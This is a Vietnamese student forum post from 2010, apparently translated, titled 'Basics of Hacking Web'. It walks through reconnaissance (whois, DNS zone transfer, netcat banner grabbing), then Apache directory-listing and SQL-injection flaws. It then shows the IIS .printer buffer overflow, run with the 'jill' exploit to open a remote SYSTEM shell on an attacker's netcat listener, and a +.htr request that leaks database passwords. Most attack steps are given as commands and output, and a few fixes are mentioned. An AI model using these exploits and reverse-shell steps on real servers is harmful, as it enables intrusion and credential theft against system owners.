»-(¯`v´¯)-»Diễn Đàn Trường Công Nghệ Thông Tin Thái Nguyên»-(¯`v´¯)-»

.:hix lâu không làm web.nên giờ lười làm quá.dùng tạm cái Forum việt vậy.chủ yếu là chất lượng Những bài viết thôi đúng không.thật THà là nói hết không giấu diếm nhưng học xong cấm nghịch bậy..http://guichonguoiay.net.tf web mình đó RỖI VÀO CHơi Ha.hjhj:.
 
Trang ChínhPortalCalendarGalleryTrợ giúpTìm kiếmThành viênNhómĐăng kýĐăng Nhập
Thông Tin Cực Sock Cho Những Ai Nghiện Game Audition Của Thái Nguyên.Sau Một Thời Gian Tìm Hiểu Mà Nhờ Mấy Anh Ở forum ClbGame Mình Đã Cài THành Công Bản Audition Offline THái Nguyên.Sắp Tới Mình Sẽ Đưa Lên Online.Các Bạn Muốn Chơi Game Và Muốn Sở Hữu Những Bộ Đồ Đẹp Nhất Không Còn Chần Chừ Gì Nữa Mà Không Click Chuột Để Truy Cập Trang Web wWw.AuTn.tk Để Download Và Thưởng thức

Share | 
 

 Căn bản để Hack Web

Go down 
Tác giảThông điệp
Admin
Admin


Tổng số bài gửi : 136
Join date : 13/03/2010

Bài gửiTiêu đề: Căn bản để Hack Web   Tue Mar 16, 2010 9:11 pm

Căn bản để Hack Web



Bài của unixzdo ( mod dịch thuật của HCE cũ )

Hiện nay hack web rất chi là fổ biến.Xin giới thiệu sơ qua về vấn đề hack web.

Phương pháp chung :

-Tìm hiểu sơ lược về các thành phần site cần hack:

Cái này bạn sẽ đi thu lượm các thông tin về cấu trúc ,thành phần của site như phương pháp chuyển giao dữ liệu,thông qua những cổng nào,có bao nhiêu server,nền ứng dụng,...

-Tấn công web server: đã có nhiều lỗ hổng trên các server cùng với kịch bản khai thác được công bố một cách công khai trên nhiều trang.Bạn có thể kiểm tra,nếu admin server đó mà chưa fix lỗi thì đó là một cơ hội tốt để khai thác.

-Xem xét các ứng dụng em loại nào đang chạy trên server như asp,php,cgi,,java,... cấu trúc thư mục,các cơ sở dữ liệu

-Tấn công vào cơ chế xác thực :mạo danh cookie,đoán password,..

-Tấn công hệ thống cấp phép: khi đã có được quyền user thì đây là bước cần thiết.Có một số biện pháp thông dụng như leo thang đặc quyền,làm thay đổi các giá trị cookie -> thay quyền user,tấn công vào sql server.

-Phân tích các chức năng các ứng dụng web:thường thấy với tấn công bằng phê chuẩn đầu vào

-Khai thác việc kết nối cơ sở dữ liệu: thông thường các nhà phát triển ứng dụng web thường chọn tính đơn giản hơn là an toàn,điều này dẫn đến việc xuất dữ liệu nhạy cảm từ sql server xuống trình duyệt của client.Điển hình sql injection.

-Attack the client: như cross-site scripting

-Tấn công từ chối dịch vụ : một lổ hổng lớn và đáng sợ.

Chúng ta sẽ bắt đầu từ phần 1 , cũng có thể nói là kĩ thuật in dấu chân mạng.Đầu tiên hãy bắt đầu tìm hiểu về nền và loại ứng dụng mà server đang chạy.Web application chạy ở trên server và trả lại kết quả xuống client qua trình duyệt web.

Với các công cụ whois các bạn có thể tìm ra các địa chỉ ip được gán,các dữ liệu liên quan tới dns cùng các thông tin về admin và liên lạc.Hiện có nhiều công cụ whois,song các bạn có thể tham khảo tại http://www.arin.net/whois.

Truy vấn cơ sở dữ liệu bởi whois có thể định danh dns server của một tổ chức.Nếu được thiết lập không đúng nó có thể cho phép người dùng nặc danh lấy thông tin như ip mapping với domain name.Để ngăn cản điều này có thể ngăn cản việc backup dns server nơi chứa các file cấu hình vùng.Nếu chức năng này không được thiết lập thì thông tin có thể bị đổ bởi việc thực hiện chuyển vùng.

Thực hiện chuyển vùng đơn giản chỉ sử dụng nslookup ,một tiện ích thường cài sẵn trong mọi nền hệ điều hành.Ví dụ trên windows:

C:\Zone transfer\nslookup

Default Server: internal

Address: 10.1.1.65

> server ns1.victim.com

Default Server: ns1.victim.com

Address: 192.168.15.77

> ls -d victim.com

@ IN SOA victim.com. root.freebsd.victim.com. (

961230 ; Serial

3600 ; Refresh

300 ; Retry

3600000 ; Expire

3600 ) ; Minimum

IN NS freebsd.victim.com.

mail.victim.com. IN MX 10.0.0.10 ; mail

www.victim.com. IN A 10.0.0.2 ; web

app.victim.com. IN A 10.0.0.1 ; web app 1

vvvvvvvvvv...

từ ví dụ này có thể thấy rằng ta có thể truy cập qua dns vào các application server.

Tiếp đó hãy sử dụng các công cụ quét cổng khám phá các cổng mở trên server.Mỗi cổng chính là địa chỉ của một ứng dụng nhất định hay nói cách khác là địa chỉ của chúng trên server.Các bạn tham khảo về giao thức sử dụng,địa chỉ và tên ứng dụng đang chạy trên server trong diễn đàn.Có thể hình dung công cụ quét cổng sẽ kết nối tới một cổng xác định của giao thức tcp hay udp và xác định tên ứng dụng theo kịch bản.Tuy vậy cũng có một số kĩ thuật quét cổng cùng công cụ đi kèm như tcp syn scan,tcp scan,các kĩ thuật quét udp,quét với nmap...song tôi sẽ không đề cập ở đây vì bài này chỉ mang tính chất giới thiệu.

Sau khi thiết lập danh sách các dịch vụ bạn cần xác định platform của server.Kĩ thuật chộp banner với netcat có thể được thực hiện như ví dụ:

C:\nc -nvv 192.168.234.34 80 { chỉ mang tính chất ví dụ}

(UNKOWN) [192.168.234.34] 80 open ?

HEAD /HTTP 1.1

Windows platform/iis server

có thể thấy ở trên là server sử dụng iis trên nền windows.

Một số công cụ như netcat,fscan,.. không thể kết nối tới SSL service để chộp banner,một trong những cách đơn giản nhất là sử dụng một local proxy.Có vài tool khá tốt cho công việc này,nhưng tôi thấy hay hơn là dùng sslproxy.

C:\>sslproxy -1 5000 -R www.victim.com -r 443

-c dummycert.pem -p ssl23

SSL: No verify locations, trying default

proxy ready, listening for connections

sslproxy lắng nghe cục bộ trên cổng 5000 và proxy kết nối tới remote server trên cổng 443.Giờ đây có thể mở một cmd shell kết nối tới local host trên port 5000 sử dụng netcat và chộp thông tin banner như sau:

C:\nc>nc -vv localhost 5000

localhost [127.0.0.1] 5000 (?) open

HEAD / HTTP/1.0

HTTP/1.1 200 OK

Date: Fri, 15 Feb 2002 16:47:56 GMT

Server: WebSTAR/4.2 (Unix) mod_ssl/2.8.6 OpenSSL/0.9.6c

Connection: close

Content-Type: text/html

Hãy chuyển sang cửa sổ của sslproxy và chúng ta sẽ thấy kết nối đã được mở ( over ssl ,port 443) ,netcat session đã có được một kết nối tới nó:

connection on fd=412

SSL: Cert error: unknown error 20 in /C=ZA/ST=Western

Cape/L=Cape Town/O=Thawte Consulting

cc/OU=Certification Services Division/CN=Thawte Server

CA/Email=server-certs@thawte.com

SSL: negotiated cipher: EDH-RSA-DES-CBC3-SHA

client: broken pipe (read)

Các bạn cũng có thể thử với stunnel và openssl ,nó cũng tương tự như trên

Đây là link down http://www.stunnel.org/download/stunnel/win32/

Chú ý khi chạy nếu chương trình đòi các file dll thì các bạn có thể tìm tại
http://www.stunnel.org/download/stun...puter/stunnel/

Tiếp tục đi chi tiết
@-Giờ đây chúng ta chuyển qua bàn về vấn đề hack web server.Việc tấn công này theo tôi biết có thể gồm:Sử dụng các lổ hổng cốt yếu đã biết của các ứng dụng cũng như platform,thứ hai là sử dụng các công cụ quét lỗ hổng tự động đã được tạo ( nhiều công cụ sẽ làm gần như hết cho bạn ,và bạn có thể bổ sung danh sách code vào list code của nó),thứ ba là tấn công từ chối dịch vụ webserver.

Đầu tiên xin nói về các lỗ hổng cố yếu.

A.Lỗ hổng webserver sử dụng apache:

một url dài có thể khiến apache nhả ra nội dung cấu trúc các thư mục ,ví dụ:

http://victim.com/cgi-bin///////////...//////////////

(chú ý là thường apache server ko thể xử lí các url có quá 8000 kí tự).

Lỗ hổng này chỉ có thể dùng với version trước 1.3.19 ,từ version apache 1.3.19 nó đã được fix.Nhưng hãy nhớ là các module mod_dir,mod_autoindex thường là mặc định tồn tại trên server.Script sau có thể đảm bảo cho server:

[rohan apache]$ ./configure --disable-module=dir --disable-module=autoindex

Ngoài ra với lỗ hổng Multiview trên apache ,có thể thực hiện trực ttiếp trên url hoặc là từ cmd line sử dụng netcat:

[rohan]$ echo –e "GET /some_directory?M=D HTTP/1.0\n\n" | \

> nc 192.168.42.17 80

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">

<HTML>

<HEAD>

<TITLE>Index of /some_directory</TITLE>

</HEAD>

<BODY>

<H1>Index of /some_directory</H1>

<PRE><IMG SRC="/icons/blank.gif" ALT=" "> <A HREF="?N=A">Name</A>

<A HREF="?M=A">Last modified</A> <A HREF="?S=A">Size</A> <A HREF="?D=A">Description</A>

<HR>

<A HREF="/">Parent Directory</A> 20-Oct-1998 08:58 -

<A HREF="cgi-bin/">cgi-bin/</A> 28-Oct-1998 05:06 -

<A HREF="messages/">messages/</A> 20-Oct-1998 08:58 -

<A HREF="wwwboard.html">wwwboard.html</A> 16-Apr-1998 19:43 1k

<A HREF="passwd.txt">passwd.txt</A> 16-Apr-1998 19:30 1k

<A HREF="data.txt">data.txt</A> 16-Apr-1998 19:29 1k

<A HREF="faq.html">faq.html</A> 16-Apr-1998 19:28 2k

</PRE><HR>

</BODY></HTML>

Nếu may mắn ta có thể kiếm được nhiều thứ ở đây.

Cách phòng chống là không nên để những thứ nhạy cảm ở đây.

Lỗ hổng mod_rewirite có thể cho phép hacker có các thong tin về thừ mục trên server ,thường là do sự map local page với đường dẫn đầy đủ.Các bạn xem thử:

/more-icons/(.*) /home/httpd/icons/$1

Nếu mode này đã được fix :/more-icons/(.*) /icons/$1

Cách fix đơn giản là hãy dùng các đường dẫn tương đối.

mod_auth_*sqlinjection : việc chèn dấu ' ( dấu nháy đơn) vào request có thể khiến ta có được một câu lệnh sql tuỳ ý.

Cách fix lỗi này là nâng cấp gói mod_auth_*sql và nếu cần thiết hãy restart lại apache server.

B.Microsoft Internet Information Server -IIS

Microsoft vẫn nổi tiếng với đặc tính nhiều lỗ hỗng ,dễ dãi hơn trong các việc trao đổi dữ liệu.Tấn công này có thể chia thành :Tấn công vào các thành phần của iis,Tấn công chính iis.

Thứ nhất là tấn công vào thành phần của nó.Như biết,IIS dùng nhiều file dll chạy cùng nó trên server .Đây chính là lỗ hổng dẫn tới các tấn công như server-sidescript execution,content indexing,web-based printing ,..vv.Hãy xem về tràn bộ đệm ISAPI DLL: Lỗ hổng này xảy ra khi bộ đệm xấp xỉ 420 byte được gửi đi kèm theo http host: header của một yêu cầu .printer ISAPI ,như ví dụ ,khi [buffer] cỡ 420 kí tự:

GET /NULL.printer HTTP/1.0

Host: [buffer]

Điều này sẽ gây ra tràn bộ đệm và thông thường sẽ tắt IIS ngay tức khắc.Tuy nhiên Window 2000 sẽ tự động khởi động lại IIS (inetinfo.exe).Chú ý rằng một web site default trên victim server dừng lại nếu shell hiện thời là không thể connect (shell đang làm việc trên server),nếu nó không được tắt cẩn thận,hoặc nếu có một vài lỗi xảy ra.Cố gắng khởi động web site từ console trên victim server sẽ fail,và machine của server cần được reboot để cứu lại dữ liệu từ điều kiện này.

Hãy xem khai thác dưới làm việc.Đầu tiên khởi động một listener trên hệ thống của attacker( chúng ta?)-ở đây là netcat:

C:\>nc -vv -l -p 2002

listening on [any] 2002 ...

sau đó đưa vào đích khai thác tại attacker 's listener:

C:\>jill 192.168.234.222 80 192.168.234.250 2002

iis5 remote .printer overflow.

dark spyrit <dspyrit@beavuh.org> / beavuh labs.

connecting...

sent...

you may need to send a carriage on your listener if the shell doesn't appear.

have fun!

Nếu tất cả diễn ra theo đúng dự định thì một khoảng thời gian ngắn sau khi các dòng lệnh làm việc,một remote shell sẽ hiện ra trên listener của attacker.Lưu ý là bạn phải làm cho shell xuất hiện khi bạn nhìn thấy kết nối đã được nhận-và sau mỗi lệnh tiếp theo cũng phải làm vậy( nhắc lại rằng điều này xuất hiện trên attacker's system).Đơn giản chỉ như sau:

C:\>nc -vv -l -p 2002

listening on [any] 2002 ...

connect to [192.168.234.250] from MANDALAY [192.168.234.222] 1117

[carriage return]

Microsoft Windows 2000 [Version 5.00.2195]

©️ Copyright 1985-1999 Microsoft Corp.

C:\WINNT\system32>

C:\WINNT\system32>whoami

whoami

[carriage return]

NT AUTHORITY\SYSTEM

Chúng ta đã sử dụng tiện ích whoami ( trong window 2000 resource kit) để thấy shell này đang chạy trong ngữ cảnh tài khoản đầy đủ quyền hạn hệ thống từ remote machine.

Bởi vì sự khởi đầu tấn công xuất hiện thông qua kênh ứng dụng web( thường là port 80 ) và vì shell được hiện ra bên ngoài từ victim web server trên một cổng đã được định nghĩa bởi attacker nên tấn công này thường tránh dùng router ko tưong xứng hày là một tường lửa lọc dữ liệu.

Tiếp theo là lỗ hổng ISAPI DLL Source Disclosure ( phơi bày tài nguyên): lỗ hổng +.htr là một ví dụ về phơi bày tài nguyên ,thường với IIS 4 và 5.Thêm +.htr vào một active file request,IIS ( 4 và 5) sẽ đưa ra dữ liệu nguồn của file thay vì thực hiện nó ( trong ISM.DLL).Đuôi mở rộng .htr sẽ map tới ISM.DLL ,file mà server sẽ đưa ra dữ liệu.Đây là một ví dụ sử dụng 1 file htr.txt sad.gif sử dụng netcat)

GET /site1/global.asa+.htr HTTP/1.0

[CRLF]

[CRLF]

Tiếp tục thực hiện:

C:\>nc -vv www.victim.com 80 < htr.txt

Kết quả

www.victim.com [10.0.0.10] 80 (http) open

HTTP/1.1 200 OK

Server: Microsoft-IIS/5.0

Date: Thu, 25 Jan 2001 00:50:17 GMT

<!-- filename = global.asa - -> ("Profiles_ConnectString") =

"DSN=profiles;UID=Company_user;Password=secret "

("DB_ConnectString") = "DSN=db;UID=Company_user;Password=secret"

("PHFConnectionString") = "DSN=phf;UID=sa;PWD="

("SiteSearchConnectionString") = "DSN=SiteSearch;UID=Company_user;Password=simp le"

("ConnectionString") = "DSN=Company;UID=Company_user;PWD=guessme"

("eMail_pwd") = "sendaemon"

("LDAPServer") = "LDAP://directory.Company.com:389"

("LDAPUserID") = "cn=Directory Admin"

("LDAPPwd") = "slapdme"

Như ví dụ ,file global.asa thường không được gửi tới client,song khi thêm +.htr vào request thì bạn có thể thấy nội dung của nó bị phơi bày ,ở đây có cả những thông tin về mật khẩu bí mật của tổ chức.

Một số cách fix lỗi trên :

-Bỏ đi các map mở rộng không sử dụng như .printer và +.htr bằng việc gỡ bỏ ứng dụng map chúng đi ( có thể xoá chính các file dll ).Điều này ngăn cản sự khai thác bởi vì các file dll sẽ không được load trong quá trình IIS làm việc khi nó khởi động.Bởi vì có nhiều vấn đề về bảo mật gắn với ISAPI DLL mapping nên đây là một trong những cách khắc phục quan trong nhất cần bổ sung khi bảo mật IIS.

Để thực hiện unmap dll từ các file mở rộng,right-click vào computer bạn muốn quản lí ,chọn properties và sau đó là:

Master Properties

WWW Service

Edit

Properties of the Default Web Site

Home Directory

Application Settings

Configuration

App Mappings

Ở màn hình cuối cùng ,gỡ bỏ mapping cho .printer tới msw3prt.dll như hình vẽ
Về Đầu Trang Go down
Xem lý lịch thành viên http://itcu.forumvi.com
 
Căn bản để Hack Web
Về Đầu Trang 
Trang 1 trong tổng số 1 trang

Permissions in this forum:Bạn không có quyền trả lời bài viết
»-(¯`v´¯)-»Diễn Đàn Trường Công Nghệ Thông Tin Thái Nguyên»-(¯`v´¯)-» :: Phận Làm Trai Gõ Phím Bình Thiên Hạ--Chí Anh Hùng Click Chuột Định Giang Sơn :: Những điều cơ bản để hack một trang web-
Chuyển đến